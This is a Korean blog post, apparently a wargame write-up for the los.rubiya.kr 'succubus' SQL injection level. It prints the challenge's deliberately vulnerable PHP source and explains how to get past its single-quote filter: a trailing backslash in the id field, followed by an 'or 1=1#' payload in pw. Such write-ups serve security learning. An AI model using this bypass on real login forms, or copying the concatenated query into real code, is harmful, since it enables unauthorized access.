[WARGAME] los.rubiya.kr - succubus
2022. 8. 14. 14:56ㆍ정보보안/CTFLOG
반응형
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
소스가 주어진다.
하지만 preg_match에서 싱글쿼터를 제한 하고 있다.
따라서 이를 우회하는 방법을 찾아내야한다.
바로 \ 이다
\를 사용하면 select id from prob_succubus where id='haha\'and pw='hello'
빨간 부분을 문자열로 처리해주기 때문에,
id 부분의 싱글쿼터에서 나오게 되고 따라서 pw에 쿼리를 적으면 우회가 가능하다
select id from prob_succubus where id='admin\' and pw='or 1=1#'
반응형
'정보보안 > CTFLOG' 카테고리의 다른 글
[WARGAME] los.rubiya.kr - Nightmare (0) | 2022.08.14 |
---|---|
[WARGAME] los.rubiya.kr - zombie_assassin (0) | 2022.08.14 |
[WARGAME] Dreamhack - XSS Filtering Bypass Advanced (0) | 2022.07.13 |
[WARGAME] Dreamhack - blind sql injection (0) | 2022.07.11 |
[WARGAME] Dreamhack - web-deserialize-python (0) | 2022.07.07 |